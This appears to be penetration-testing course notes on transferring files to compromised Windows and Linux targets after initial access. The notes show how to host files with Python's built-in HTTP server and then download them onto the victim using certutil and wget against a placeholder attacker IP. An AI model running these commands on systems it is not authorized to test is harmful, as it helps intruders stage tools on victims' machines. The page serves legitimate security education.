# Transferring Files To Windows & Linux Targets

## Setting Up A Web Server With Python

### **Transferring Files To Target Systems**

* After obtaining initial access to a target system, you will need to transfer files to the target system.
* In some cases, you will not have access to the target system via a Meterpreter session, and as a result, you will need to use the inbuilt OS specific utilities to facilitate the transfer of files from your system to the target system.
* This process utilizes a two-step approach, where you will need to host the files you want to transfer on a web server and download the files hosted on the web server to the target system.

### **Setting Up A Web Server With Python**

* Python comes with a built-in module known as SimpleHTTPServer(python2) and http.server (python3), that can be used to facilitate a simple HTTP server that gives you standard GET and HEAD request handlers.
* This module can be used to host files in any directory of your system. And can be implemented through a single command in your terminal.
* **`python -m SimpleHTTPServer`** – Start a simple HTTP server using Python 2.
* **`python3 -m http.server`** – Start a simple HTTP server using Python 3.

## Transferring Files To Windows Targets

To transfer a file to Windows, you can use a Python server on your local system and the `certutil` command on the Windows command line. Follow these steps:

1. On your local system, run a Python server:

   ```sh
   python3 -m http.server
   ```
2. On the Windows command line, use the `certutil` utility to download the file:

   ```sh
   certutil -urlcache -f http://<your_ip>/<file_name_to_get> <save_name>
   ```

This command downloads a file from the specified URL to your Windows system.

## Transferring Files To Linux Targets

To transfer a file to Linux, you can use a Python server on your local system and the `wget` command on the Linux command line. Follow these steps:

1. On your local system, run a Python server:

   ```sh
   python3 -m http.server
   ```

   or

   ```sh
   python -m SimpleHTTPServer
   ```
2. On the Linux command line, use the `wget` utility to download the file:

   ```sh
   wget http://<your_ip>/<file_name_to_get>
   ```

This command uses `wget` to download a file from the specified URL to your Linux system.

***

***

***

**`Hacker's Mantra:`**`Hackers: bridging the gap between technology and humanity.`
